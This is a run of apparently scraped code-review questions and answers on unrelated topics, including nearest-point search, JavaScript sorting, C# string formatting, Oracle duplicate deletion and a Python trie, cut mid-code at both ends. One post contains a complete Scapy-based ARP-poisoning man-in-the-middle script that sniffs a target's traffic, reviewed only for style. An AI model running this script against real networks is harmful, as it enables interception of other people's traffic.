    if (points[i].distance(point) < p.distance(point)) {
        p = points[i];
    }
}
return p;

You could save the known nearest distance in a variable to avoid repeated computations. Also, you could start iterating from i = 1 instead of i = 0:

Point nearest = points[0];
double nearestDistance = point.dsquare(nearest);
for (int i = 1; i < points.length; i++) {
    double distance = points[i].dsquare(point);
    if (distance < nearestDistance) {
        nearest = points[i];
        nearestDistance = distance;
    }
}
return nearest;

Simplify

The s variable in toString is pointless, you could directly return the concatenated value.


Javascript module for sorting and searching Here is a vanilla JS module that I wrote for sorting and searching an array.

I would appreciate feedback on the design of the module as I'm new to writing javascript in modules and don't know if I'm missing the point.

"use strict";

/**
* Find is an outer function
* @param  {int}    needle      Value received from the user
* @param  {array}  haystack    An array returned by the user up to 100
* @return {obj}                returns an object that contains the sort and search functions
*/

function find(needle, haystack) {

//keeps track of the array length
var haystackLength = haystack.length;

 //Sort the array using Counting Sort O(n), so we can search the array faster
 function sort() {

 //INIt sorted array
 var sorted = [];

 //Create a counting array filled with zeros
 var maxLength = 1000;
 var countArray = (function buildCountArray(length) {
   var array = [];
   for( let i = 0; i < length; i++  ) {
     array[i] = 0;
   }
   return array;
 })(maxLength);

 //run through the haystack and add a count to the corresponding index in the couting array
 for( let i = 0, n = haystackLength; i < n; i++ ) {
   countArray[ haystack[i] ]++;
 }

 //At each index in the counting array add the summation of previous indexes
 for( let i = 0, n = countArray.length; i < n; i++ ) {
   countArray[ i + 1 ] =  countArray[i] + countArray[ i + 1 ];
 }

 //run through the haystack and match it up with the counting array and store it in the sorted array
 for( let i = 0, n = haystackLength; i < n; i++ ) {
   sorted[countArray[haystack[i]] - 1] = haystack[i];
   countArray[haystack[i]]--;
 }

 //sucess
 haystack = sorted;
 console.log("Here is your awesome sorted array:\n" + haystack);
 }

 //Uses Binary Search O(log n), to find the needle in the haystack
 function search() {

 //Track the index of the start of the haystack and the end of the haystack
 var left = 0;
 var right = haystackLength - 1;

 //A recursive IIFE that uses the left and right to determine the middle and then cuts the array
 //in half depending on where the needle lies compared to the middle
 return ( function binarySearch( left, right ) {

   //Once we search the haystack and we can't find the needle
   if( right < left) {
     console.log("Nope, Go fish!");
     return false;
 }

   //track the middle of the haystack
   var mid = Math.trunc( left + ( right - left ) / 2 );
   console.log("Chopping your array in half, chop....chop..:\n" + haystack[mid]);

   //Compare the middle of the haystack to the needle
   //Then move the start or end of the haystack to depend on the needle value
   if( needle === haystack[mid] ) {

     console.log("We found it!");
     return true;

   } else if ( needle < haystack[mid] ) {
     right = mid - 1;
   } else {
     left = mid + 1;
   }

   return binarySearch( left, right );

 })(left, right);

 }

 //Functions that will be available to use
 var publicAPI = {
   sort: sort,
 search: search
 }

 return publicAPI;
 }

arrays in js already have a sort method, all it needs is a compare function. I made a similar api for a general binary search. It takes an array as its first arg and the compare func as the second. The binary search function could be bound to the Array prototype too. But people complain too much about extending the native prototypes, so we'll just pass the array in.

The style here is consistent. The indentation is the same and the variable names are short yet descriptive enough. Each function does 1 thing and nothing more.

var FIND = 100;
var arr = [ 9, 8, 10, 100, 60, 1 ];

var sorted = arr.sort((a, b) => a - b);
console.log(sorted);

var i = binary_search(sorted, n => FIND - n);
console.log('FOUND AT', i);

//https://github.com/MrOutput/learning/blob/master/js/binary_search.js
function binary_search(array, fn) {
    var low, mid, high;
    low ^= low;
    high = array.length - 1;
    while (low <= high) {
        mid = (low + high) >> 1;
        var cmp = fn(array[mid]);
        if (cmp < 0) {
            high = mid - 1;
        } else if (cmp > 0) {
            low = mid + 1;
        } else {
            return mid;
        }
    }
    return -1;
}

Binding it to the array prototype has its benefits though. Consider....

//https://github.com/MrOutput/learning/blob/master/js/binary_search.js
Array.prototype.bsearch = function (fn) {
    var low, mid, high;
    low ^= low;
    high = this.length - 1;
    while (low <= high) {
        mid = (low + high) >> 1;
        var cmp = fn(this[mid]);
        if (cmp < 0) {
            high = mid - 1;
        } else if (cmp > 0) {
            low = mid + 1;
        } else {
            return mid;
        }
    }
    return -1;
};

var FIND = 100;
var arr = [ 9, 8, 10, 100, 60, 1 ];
var i = arr .sort((a, b) => a - b).bsearch(n => FIND - n);

console.log('FOUND AT', i);


Cleanest way to place values into strings I am trying to standardize the way I write code. Which is the best way to place the values into a string, method 1 or 2?

string myCat = "persian";

// Method 1
Console.WriteLine("I have a wild {0} cat that likes to visit", myCat);

// Method 2
Console.WriteLine("I have a wild " + myCat + " cat that likes to visit");

I would like to point out that I am intending this for simple uses, where StringBuilder would be overkill.

For simple straightforward string concatenation like your "persian" cat example, I agree with @Malachi - being slightly memory-inefficient over a few bytes will not hurt anyone, and if there's a gain in readability then it's worth it.

However, since you're looking to standardize the way you're doing string concatenations, you should go with string.Format() all the way, without hesitation*.

Say you're writing a program for some petshop (say, one that only sells cats), you'll potentially want to format/concatenate the cat's breed, birthdate/age and price tag. With string + string your only option is essentially to hard-code the date and currency formats, while this:

string.Format("{0} cat, born {1:d} ({2} weeks) | {3:C2}", cat.Breed,
                                                          cat.BirthDate,
                                                          cat.AgeInWeeks,
                                                          cat.Price)

...has an obvious advantage, especially when you consider that

"{0} cat, born {1:d} ({2} weeks) | {3:C2}"

is a string all by itself (as mentioned by Daniel Cook).

*At the end of the day, common sense should prevail. If you end up doing this:

var result = string.Format("{0}{1}", string1, string2);

...then you know you've gone overboard.


Build multiple groups in an array I have written a function buildGroupRequests() to build an array of multiple groups.

It checks the size of the request group. If a request group is greater than MAXSIZE = 50 then it will create another group in an array.

The logic seems to be complicated, is there a way to rewrite this to be more readable and maintainable in future?

console.log(
  buildGroupRequests([
    { put: "/firstName=Danny" },
    { put: "/lastName=Williams" },
    { put: "/email=danny.w@domain.com" }
  ])
);

function buildGroupRequests(lists) {
  const MAXSIZE = 50;

  return lists.reduce((group, insert) => {
    const LASTINDEX = group.length - 1;

    if (!group.length) {
      group.push({ put: "PUT " + insert.put });
      return group;
    }

    const putGroup = group[LASTINDEX];
    const tempPutSet = putGroup.put + " + " + insert.put;

    if (tempPutSet.length > MAXSIZE) {
      group.push({ put: "PUT " + insert.put });

      return group;
    }

    group[LASTINDEX].put = tempPutSet;
    return group;
  }, []);
}

Maintainability
Maintainability is a measure of how long it takes to modify some code.
Some things that help improve maintainability.

Use a consistent style throughout the code base. If the code is a group effort then that style must be established before the start of the project.

For naming adopt the language standardized or informal style (Informal for JS as it does not have a standard style). In JavaScript we use camelCase variable names, PascalCase for instantiate-able objects via the new operator.
For constants UPPERCASE_SNAKE with the general rule that we uppercase read-only properties of objects. Though many will also use them for all constants. There is no real consensus regarding the naming of constants but it is not good to be inconsistent in the use of UPPERCASE_SNAKE.
Arrays, lists, and array like objects should use the plural name to indicate that it is more than one entity.
Be consistent in naming items. Do not call the same abstract different names in different locations. EG you called the list of requests lists and group. You called a request insert and putGroup. (see example)

Magic numbers and strings should be in one place so that they don't need to be hunted down to make changes. As they are separated from the code it pays to always comment these constants, include type, limits, and what they are used for. (see example)
To ensure constants are not modified use object.freeze to make them read only. This instills trust in the state of the constants so the coder modifying the code does not have to hunt down each usage of the value to ensure it has not been modified if there are problems.

Reduce the complexity by reducing operator and token counts. Eg if (!foo.length) { a = b } else { b = a } is better as if (foo.length) { b = a } else { a = b }
Reduce the number of return points and keep it DRY. Eg in two places you create a new group and return it. With a little rearranging of the logic the two can be one. (see example)

Readability
This comes hand in hand with maintainability. Low readability also means low maintainability.
Example
not quite how I would have written it (I would use a while loop and have the param requests AKA lists as a safe to mutate copy). Also would have used default params for the constants. However the example is consistent with your original.
I also prefer 4 space indent as I find it much more readable with my old eyes.

const grouping = Object.freeze({ // Request grouping constants for buildGroupRequests
    MAX_SIZE: 50,     // Max length of string per group. Last item may be longer.
    DELIMITER: " + ", // String used to separate groups. Len < MAX_SIZE
    PREFIX: "PUT ",   // String used to prefix groups. Len < MAX_SIZE
});

function buildGroupRequests(requests) {
    return requests.reduce((groupedReqs, request) => {
        if (groupedReqs.length) {
            const lastReq = groupedReqs[groupedReqs.length - 1];
            const putGroup = lastReq.put + grouping.DELIMITER + request.put;
            if (putGroup.length <= grouping.MAX_SIZE) {
                lastReq.put = putGroup;
                return groupedReqs;
            }
        }
        groupedReqs.push({put: grouping.PREFIX + request.put});
        return groupedReqs;
    }, []);
}

console.log(
    buildGroupRequests([
        { put: "/firstName=Danny" },
        { put: "/lastName=Williams" },
        { put: "/email=danny.w@domain.com" },
        { put: "/address=1984 Some St, Very long named place. Woop Woop 6162" }
    ])
);

Update
As requested in comment. Using a while loop and more along the lines as I would write it to be consistent with internal standards. Please note this is not as maintainable if used in a general JS work environment.

const grouping = Object.freeze({
    maxSize: 50,
    delimiter: " + ",
    prefix: "PUT ",
    requests(reqs, {maxSize: max, delimiter: del, prefix: pre} = grouping) {
        var prev = {put: pre + reqs.shift().put};
        const grouped = [prev];
        while (reqs.length) {
            const next = reqs.shift().put;
            const putGroup = prev.put + del + next;
            if (putGroup.length <= max) { prev.put = putGroup }
            else { grouped.push(prev = {put: pre + next}) }
        }
        return grouped;
    },
});

const requests = [
    { put: "/firstName=Danny" },
    { put: "/lastName=Williams" },
    { put: "/email=danny.w@domain.com" },
    { put: "/address=1984 Some St, Very long named place. Woop Woop 6162" }
];

console.log( grouping.requests([...requests]));


C# Program that checks on the status of the Capslock with each character insert The following is my first successful running C# program.

The lessons that I personally learnt through this include:

The value of asking for help after having tried several times
The advantages of being adaptable about one's methods of reaching an end
The (a?) proper placement of functions in relation to a main program
How to pass information into and out of such functions
How to use a loop to leverage code (doing the same stuff over and over)
How to collect character input from the User & I'm sure there's more...

In any case this code appears to work. I know that it doesn't hold a candle to much of the stuff you guys put up but on the bright side its short and kind of readable (both aims of mine).

Could some much brighter spark than me kindly shine a light on the stuff that could have been done better (or simply provide some advice or suggested direction)? :c)

using System;
namespace CapsChecker
{
    class Program
    {
        static void Main(string[] args)
        {
                //Set up an infinite loop for program to run within
            while (true)
            {
                    //Collection of user input
                Console.Write("Press a key: ");
                char input = (Console.ReadKey().KeyChar);
                    //Check if Capslock is on when key entered. Combined with
                    //the shift button this can result in CapsCheck returning
                    //true even if key entered is lower case.
                if (CapsCheck() == true)
                {
                    CapsNotify(true);
                }
                else
                {
                    CapsNotify(false);
                }
                Console.WriteLine();

                switch (input) //Abandoned '.Key' enum
                {
                    case 'Q':
                        { break; }
                    default:
                        { continue; }
                }
                break; //Afterthoght as it wasn't breaking on capital Q.
            }
            Console.WriteLine("Program ending. Press a key.");
            Console.ReadKey();
        }

        static bool CapsCheck()
        {
                // Check if Capslock is Active
            if (Console.CapsLock == true)
            {
                return true;
            }
            else
            {
                return false;
            }
        }

        static void CapsNotify(bool caps)
        {
                // Notify whether Capslock is Active
            if (caps == true)
            {
                Console.WriteLine(" Capslock is Active.");
            }
            else
            {
                Console.WriteLine(" Capslock is Inactive.");
            }
        }
    }
}

if true return true else return false antipattern

Unecessary if statements when dealing with booleans is a very common beginner pitfall.

    static bool CapsCheck()
    {
            // Check if Capslock is Active
        if (Console.CapsLock == true)
        {
            return true;
        }
        else
        {
            return false;
        }
    }

Is equivalent to:

   static bool CapsCheck()
   {
       return Console.CapsLock;
   }

As a further simplification, you may use Console.CapsLock directly and avoid this function.

Another boolean simplification is

            if (CapsCheck() == true)
            {
                CapsNotify(true);
            }
            else
            {
                CapsNotify(false);
            }

To:

 CapsNotify( CapsCheck() );

Or:

CapsNotify( Console.CapsLock );

Ternary simplification

In CapsNotify it is unecessary to use a full if else, a ternary is enough and simpler:

 Console.Writeline("CapsLock is" + (caps ? "Active" : "Inactive"));


Efficiently squaring each element in a sorted array, keeping it sorted The other day I was asked the following question during an interview:

  Given a sorted array, how would you square each element of this array, while keeping it sorted?

I froze up and wrote a horribly inefficient solution I've included below. Basically, I iterate through the original array, squaring each element, and then sort that array via bubble sort. (I know, I could do better, but it's what came to mind at first).

Is there a way to do this more efficiently, perhaps an \$\mathcal{O}(N)\$ solution?

void bubbleSort(int *arr, int length);

int main(int argc, const char * argv[]) {

    int arr[] = {-3,-2,0,4,5,8};

    for(int i = 0; i < 6; i++) {
        arr[i] *= arr[i];
    }

    bubbleSort(arr, 6);

    for(int j = 0; j < 6; j++)
        cout << arr[j] << endl;
}

void bubbleSort(int *arr, int length) {
    int temp;

    for(int i = 0; i < length; i++) {
        for(int j = 0; j < length; j++) {
            if(arr[j] < arr[j+1]) {
                temp = arr[j+1];
                arr[j+1] = arr[j];
                arr[j] = temp;
            }
        }
    }
}

Elements can be negative or positive.

It can be done in O(n) time. Split your array into two logical parts. Positive and negative. Then apply square to each element in both arrays. Then merge the arrays( merging can be done in O(n) ), but merge the array with previously negative integers in reverse order, since its values will be reversed.


Version of lexical_cast that doesn't use exceptions I love boost::lexical_cast but its usage of exceptions there is not preferred in most situations I use it.

I have implemented a version and it seems to work but I want to share it here to hopefully find any defects and/or simply find improvements.

template<typename T1, typename T2>
T1 lexical_cast(T2 const& value, T1 const& defaultValue = T1{})
{
    T1 convertedValue;
    std::stringstream ss;
    if (!(ss << value) || !(ss >> convertedValue))
    {
        return defaultValue;
    }

    return convertedValue;
}

Here is the code on Coliru where I've been testing.

Since you have an already working lexical cast. Why not just wrap that?

namespace MyStuff
{
    template<typename T1, typename T2>
    T1 lexical_cast(T2 const& value, T1 const& defaultValue = T1{})
    {
        try
        {
            return boost::lexical_cast<T1,T2>(value);
        }
        catch(...) // Ignore all exceptions and use default.
        {
            return defaultValue;
        }
    }
}

The reason I would not advocate writing your own is the actually complicity of all the edge cases. Though your code embodies what is happening the actual code has not reflected this in a long time (you have basically written the deprecated version of boost::lexical cast).

Also the boost version has a whole bunch of special case optimizations.


PHP framework building: System Class (reads configuration .ini file) I am building a PHP framework and would like to get some feedback on a few different sections of the project so far. I consider myself still a neophyte in PHP so I would like to ask if I'm going about completing these different tasks in an efficient and or correct way.

This section is of the system configuration file (.ini). Similar PHP core configuration file it is meant to hold values used through out the framework; for instance default MySQL database connection values. The class also can define values of and array as constants. The reason for creating the feature was to combine values used through out the framework in one place in a familiar format.

I have posted the System class, ini file and script to show how it is used.

System Class

class System{
    //Path to core.ini file
    private $inipath = 'core.ini';
    private $inifile;
    protected $parseini;
    private $arrvalue;

    //Instantiation
    public function __construct(){
        //Path to core.ini file
        $this->inifile = $this->inipath;
        //Parse the ini file
        $this->parseini = $this->ParseINI();
    }
    /**
     * Parse system configuration file
     * @param void
     * @return Array - multidimensional array
     */
    public function ParseINI(){
        //Path to core.ini file
        //Moved to the method because construct
        //is not used
        if(!file_exists($this->inifile)){
            trigger_error("System file not found",E_USER_ERROR);
        }
        return parse_ini_file($this->inifile,true);
    }

    public function GetValue($value = null){
      if(!empty($this->parseini) && isset($value)){
        return $this->parseini[$this->arrvalue][$value];
      }
      return $this->parseini[$this->arrvalue];
    }

    public function SetValue($value){
        $this->arrvalue = $value;
    }

    public function DefineINI(){
        if(isset($this->arrvalue)){
            foreach ($this->GetValue() as $key => $value) {
                define(strtoupper($key),$value);
            }
        }
    }

    //End Scope
    public function __destruct(){
        //Empty
    }
}

core.ini file

[system_paths]
DIRECT_URL = "http://localhost/fw/";
ROOTDIR = "root/";
FILESDIR = "root/files/";

;System database connection parameters
;Used for interaction with the systems database
[sys_db]
host = "localhost";
user = "root";
password = "password";
database = "fwsystemdb";

;Default connection parameters
[database_connection]
db_host = "localhost";
db_user = "root";
db_password = "passowrd";
db_database = "dummy";

;Session settings
[session_settings]
session_localsave = false;
session_dir = "http://localhost/fw/root/sessions";

;Error Loggin
[error_log]
log_activity = false;
log_file = "http://localhost/fw/root/systemlog";

Script using System Class

$system = new System();
//Set array [system_paths] to search for value
$system->SetValue('system_paths');
//Get valuse DIRECT_PATH from file
echo $system->GetValue('DIRECT_URL ');
//Define array values as constant
$system->DefineINI('system_paths');

Any feedback would be appreciated.

Some improvements(they would save your[and framework users] a lot of time on debug):

All system wide components should implement pattern Singleton, this would guarantee that you have only one System at the same period.
Try to create interface SystemInterface, this would allow you to create ServiceStub pattern(It's very useful on testing)
Split your class and move parser to another class(use Strategy pattern). Your system should depend on configuration, not file! Also this would allow you to create another config-files like .json or even .php
Configuration shouldn't be stored in applications main class, use ConfigurationRegistry for this(pattern Registry)


Having children call parent's public events with data generated from a protected event I don't know that my title describes the code I want reviewed. Hopefully the code is explanatory.

I have an abstract parent class with two children. The parent listens to some hardware notifications and, when the appropriate hardware is connected/removed/fried in butter etc.., raises an event to its children who perform some processing with the data from the change.

The children then raise a public event on the parent with the processed data, which is what I'm unsure of. Here are the (stripped down) classes.

public abstract class DeviceDetector<TEventArgs>
{
    public event Action<TEventArgs> DeviceArrived;
    public event Action<TEventArgs> DeviceRemoved;
    protected void OnDeviceChange(TEventArgs e)
    {
         if (e.Arrival && DeviceArrived != null)
             DeviceArrived(e);
         if (!e.Arrival && DeviceRemoved != null)
             DeviceRemoved(e);
    }

    protected event Action<string> DeviceArrival;
    protected event Action<string> DeviceRemoval;

}

Each of the two children is defined as follows:

public class SomeDescriptiveChildName: DeviceDetector<DeviceChild1EventArgs>
{
    public SomeDescriptiveChildName()
    {
        this.DeviceArrival += new Action<string>(HandleProtectedEvent);
        this.DeviceRemoval += new Action<string>(HandleProtectedEvent);
    }
    private void HandleProtectedEvent(string e)
    {
         //Class names have been changed to protect the innocent.
         DeviceChild1EventArgs e = new DeviceChild1EventArgs();
         base.OnDeviceChange(e);
    }
}

public class AnotherDescriptiveChildName: DeviceDetector<DeviceChild2EventArgs>
{
    public AnotherDescriptiveChildName()
    {
        this.DeviceArrival += new Action<string>(HandleProtectedEvent);
        this.DeviceRemoval += new Action<string>(HandleProtectedEvent);
    }
    private void HandleProtectedEvent(string e)
    {
         DeviceChild2EventArgs e = new DeviceChild2EventArgs();
         base.OnDeviceChange(e);
    }
}

The DeviceChild1EventArgs and DeviceChild2EventArgs are classes inheriting from EventArgs to represent the data from each child.

My question is this: Is there a better way to represent the data passed to the children through DeviceArrival and DeviceRemoval (in this example I used string, it's not a string)  without the use of generics etc...

To me this seems somewhat like overkill, but it's the only way I could think of doing this.

The events in the base class don't follow the standards:

public event Action<TEventArgs> DeviceArrived;
public event Action<TEventArgs> DeviceRemoved;

protected event Action<string> DeviceArrival;
protected event Action<string> DeviceRemoval;

I'd be expecting something like this:

public event EventHandler<TEventArgs> AfterDeviceArrived;
public event EventHandler<TEventArgs> AfterDeviceRemoved;

protected event EventHandler<SomeEventArgsClass> BeforeDeviceArrived;
protected event EventHandler<SomeEventArgsClass> BeforeDeviceRemoved;

Couple points:

Events can be declared with any delegate type (Action<T> works), but the convention is to use an EventHandler or EventHandler<TEventArgs> delegate.
Convention for naming events that come in pairs (raised before and after such or such "thing" happens) is to prefix the event names with "Before" and "After", and use past tense as you've done.
OnDeviceChange should be called OnDeviceChanged.. but it's not clear why the method needs to raise both ...Arrived and ...Removed events without [apparently] doing anything in-between.

A base class shouldn't know, or care, about whether it has derived classes or not. You've got that right, but a derived class that's listening for events raised in the base class, doesn't make sense to me.

I don't think events are the appropriate way to accomplish what you're trying to do here. That said I'm not sure exactly what you're trying to accomplish (trimmed code does that ;) - but I'd venture to suggest templated methods instead of events.

In the base class:

// todo: remove notion of "event args"
protected abstract void OnDeviceArrived(TEventArgs e);
protected abstract void OnDeviceRemoved(TEventArgs e);

The base class can call these methods even though they're not implemented - abstract methods must be implemented in the derived classes for the code to even compile.

So instead of this:

     if (e.Arrival && DeviceArrived != null)
         DeviceArrived(e);
     if (!e.Arrival && DeviceRemoved != null)
         DeviceRemoved(e);

You just have that:

    if (e.Arrival)
    {
        OnDeviceArrived(e);
    }
    else
    {
        OnDeviceRemoved(e);
    }

And the derived classes have the implementations:

protected override void OnDeviceArrived(TEventArgs e)
{
    // ...
}

protected override void OnDeviceRemoved(TEventArgs e)
{
    // ...
}


Efficient way to remove duplicate records Is there more efficient way remove duplicate records?

strsql := 'delete from ' || TableName || ' a

where rowid <
(
  select max(rowid) from ' || TableName || ' b
  where a.val=b.val
)';

I would use the ROW_NUMBER windowing function to identify the duplicates and delete those.

Given something like the following:

CREATE TABLE tbl
(
   v1 VARCHAR2(10)
  ,v2 VARCHAR2(10)
);

INSERT ALL
  INTO tbl (v1, v2) VALUES ('A','A')
  INTO tbl (v1, v2) VALUES ('A','A')
  INTO tbl (v1, v2) VALUES ('A','Z')
  INTO tbl (v1, v2) VALUES ('B','B')
  INTO tbl (v1, v2) VALUES ('B','B')
  INTO tbl (v1, v2) VALUES ('B','B')
  INTO tbl (v1, v2) VALUES ('C','B')
  INTO tbl (v1, v2) VALUES ('C','B')
  INTO tbl (v1, v2) VALUES ('keep', 'keep')
SELECT * FROM dual
;

I would do something like the following:

DELETE
  FROM tbl
  WHERE ROWID IN (
    SELECT id
    FROM (
      SELECT
         ROWID AS id
        ,ROW_NUMBER() OVER (PARTITION BY v1, v2 ORDER BY ROWID) AS rnum
      FROM tbl
    )
    WHERE rnum <> 1
  )
;

I wrote a blog post about this using SQL Server but the idea is the same on Oracle.

This blog post claims that using ROW_NUMBER for deleting duplicates is very fast in Oracle (my experience in SQL Server would lead me to believe the claim).

Never under estimate the power of windowing functions.


Compacting this repetitive JavaScript bit which trims values in an object shippingAddress.first_name = shippingAddress.first_name.trim()
    shippingAddress.last_name = shippingAddress.last_name.trim()
    shippingAddress.address1 = shippingAddress.address1.trim()
    shippingAddress.address2 = shippingAddress.address2.trim()
    shippingAddress.phone = shippingAddress.phone.trim()
    shippingAddress.city = shippingAddress.city.trim()
    shippingAddress.province = shippingAddress.province.trim()
    shippingAddress.country = shippingAddress.country.trim()
    shippingAddress.zip = shippingAddress.zip.trim()

What is a more elegant way to write this? I am thinking I can map it somehow or use something similar to Ruby's inject but I'm not sure.

With single traversal on keys list and trimming all fields of type string:

Object.keys(shippingAddress).forEach((k) => {
    if (typeof shippingAddress[k] == 'string') {
        shippingAddress[k] = shippingAddress[k].trim();
    }
})


Be the Man in the middle, and (ARP) Poison your network Whilst learning from a Python Networking book, I've made this tool to perform a Man in the Middle attack by ARP-Spoofing  on a Network. I think this has been done plenty before.

from scapy.all import *
import os
import sys
import threading
import signal

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Rstore targets and gateway"s ip to correct ARP"""
    send(ARP(op=2, psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac,count=5))
    send(ARP(op=2, psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac,count=5))
    os.kill(os.getpid(), signal.SIGINT)

def get_mac(ip):
    """Return a MAC address bound to an IP address."""
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),timeout=2,retry=10)
    for s,r in responses:
        return r[Ether].src

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Start ARP poisoning for a specified target and gateway."""
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison")
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(1)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    print("[*] Attack finished")

def main():
    try:
        interface = sys.argv[0]
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    except:
        print ("""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS

Usage:
arper.py interface target_ip gateway_ip

Example:
python arper.py wlan0 192.168.1.70 192.168.1.1
""").strip()
        sys.exit(1)

    packet_count = 1000

    # Sets the ipv4 to enable port_forwarding
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    conf.verb = 0

    print("[*] setting up %s" % interface)

    gateway_mac = get_mac(gateway_ip)
    if gateway_mac is None:
        print ("[!] Failed to get gateway")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))

    target_mac = get_mac(target_ip)
    if target_mac is None:
        print("[!] Failed to get target")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (target_ip, target_mac))

    poison_thread = threading.Thread(
        target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
    poison_thread.start()

    try:
        print("[*] Starting sniffer for %d packets" % (packet_count))
        bpf_filter = "IP host %s" % (target_ip)
        packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)
        wrpcap("arper.pcap", packets)
    except KeyboardInterrupt:
        pass
    finally:
        restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
        print("[*] Finished capturing packets")

if __name__ == "__main__":
    main()

Some of concerns were with the heredoc string which looks ugly.
I was wondering how my style of approaching this was any good.
Just curious about a code-review overall.
Code is intended for both Python 2 and Python 3.

The heredoc uglyness can be avoided with either:

The textwrap.dedent function; or
Using a module docstring such as

"""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS

Usage:
arper.py interface target_ip gateway_ip

Example:
python arper.py wlan0 192.168.1.70 192.168.1.1
"""

from scapy.all import *
import os

…

def main():
    try:
        interface = sys.argv[0]
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    except:
        print(__doc__).strip()
        sys.exit(1)
    …

You could also improve your arguments parsing using existing tools: argparse in the standard library or click or docopt to name a few. Using argparse, your code could become:

"""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS
"""

import os
import sys
import signal
import argparse
import ipaddress
import threading

from scapy.all import *

…

def main(interface, target_ip, gateway_ip):
    packet_count = 1000

    # Sets the ipv4 to enable port_forwarding
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    conf.verb = 0
    …

def parse_command_line():
    parser = argparse.ArgumentParser(
            description=__doc__,
            epilog='Example: python arper.py wlan0 192.168.1.70 192.168.1.1')
    parser.add_argument('interface', help='<some helpful description>')
    parser.add_argument('target_ip', type=ipaddress.ip_address, help='…')
    parser.add_argument('gateway_ip', type=ipaddress.ip_address, help='…')
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_command_line()
    main(args.interface, args.target_ip, args.gateway_ip)

However, usage of the ipaddress module makes it require Python 3.3 at least. You could stick with strings but would get less checks done on the input.


Text-search optimization algo The following code takes in two params. An array of sentences and an array of queries. Each query has one or more words. The function below prints out index of sentence for each query that has all the words in that sentence.

This is functioning code. However, it is not optimized for large inputs because of how it is written.

How can we make it more runtime optimized? Any ideas would be appreciated.

def textQueries(sentences, queries):
    sentences_sets = [set(s.split(' ')) for s in sentences]
    for i, words in enumerate(queries):
        results = ''
        for j, s in enumerate(sentences_sets):
            exists = True
            for word in words.split(' '):
                if word not in s:
                    exists = False
            if exists:
                results += ' %d' % j if results else '%d' % j
        if results:
            print results
        else: print -1

Welcome to Code Review!

So, I am assuming that queries is a list of words we are searching for, and any of them being found is a success.  I am also assuming that sentences is a list of strings, with each element subdivide-able into a list of words.

Bugs:

I noticed that your existing code won't see "This is a test." as having the word "test" in it, because of the period.  You may need to separate out commas, periods, parentheses and so on for it to work properly, but perhaps this is by design.  I am unsure.

Add a Break:

The first thing I see that could be improved is you don't need a flag.  Instead of setting exists = False and then keep looping, just add your results if it is there, and then just break.  You don't need to search the entire sentence if you have already found it, and you don't need a flag if you are doing the one operation within the loop.

So:

for word in words.split(' '):
    if word in s:
        results += ' %d' % j if results else '%d' % j
        break

This will save you a few iterations for long sentences if the beginning matches.

Tries:

Now, if you want to completely rewrite the whole thing for O(n) passes, (which is the best you can possibly get for text searching), then you can use a "Trie" data structure.  The way this works is by inserting all of your text, one character at a time per word, into a variation of a tree.  This is O(n) insertion, where n is the number of characters in your input data.  Then, for every search term, you go through and find, letter by letter, which words match.  This is O(n) where n is the number of characters in each search term, so theoretically much less of an impact than the previous one.

I modified the code that was posted here (under public domain): https://towardsdatascience.com/implementing-a-trie-data-structure-in-python-in-less-than-100-lines-of-code-a877ea23c1a1

Most of it is not my own, but I modified it to fit your function.

class Node(object):
    def __init__(self, character):
        self.character = character
        self.children = []
        # A flag to say whether or not we are at the end of our current word.
        self.finished = False
        # How many times this character appeared in the addition process
        self.count = 1

class Trie(object):
    def __init__(self):
        # Create a root node with a non-character attribute so it won't be confused
        # with any of the entries.
        self.root = Node(None)

    def add(self, word):
        # Set our current node to the start/root.
        current_node = self.root
        for char in word:
            in_child = False
            # Search for the character in the children of the present node
            for child in current_node.children:
                if child.character == char:
                    # We found it, increase the counter by 1 to keep track that another
                    # word has it as well
                    child.count += 1
                    # And point the node to the child that contains this char
                    current_node = child
                    in_child = True
                    break
            # We did not find it so add a new chlid
            if not in_child:
                new_node = Node(char)
                current_node.children.append(new_node)
                # And then point node to the new child
                current_node = new_node
        # Everything finished. Mark it as the end of a word.
        current_node.word_finished = True

    def find_term(self, term):
        """
        Check and return
          1. If the prefix exsists in any of the words we added so far
          2. If yes then how may words actually have the prefix
        """
        node = self.root
        # If the root node has no children, then return False.
        # Because it means we are trying to search in an empty trie
        if not self.root.children:
            return False, 0
        for char in term:
            char_not_found = True
            # Search through all the children of the present `node`
            for child in node.children:
                if child.character == char:
                    # We found the char existing in the child.
                    char_not_found = False
                    # Assign node as the child containing the char and break
                    node = child
                    break
            # Return False anyway when we did not find a char.
            if char_not_found:
                return False, 0
        # Well, we are here means we have found the prefix. Return true to indicate that
        # And also the counter of the last node. This indicates how many words have this
        # prefix
        return True, node.count

def textQueries(sentences, queries):
    trie = Trie()
    sentences_list = [s.split(' ') for s in sentences]
    for sentence in sentences_list:
        for word in sentence:
            trie.add(word)

    for words in queries:
        words_list = words.split(' ')
        results_list = []
        for word in words_list:
            results = trie.find_term(word)
            if results[0]:
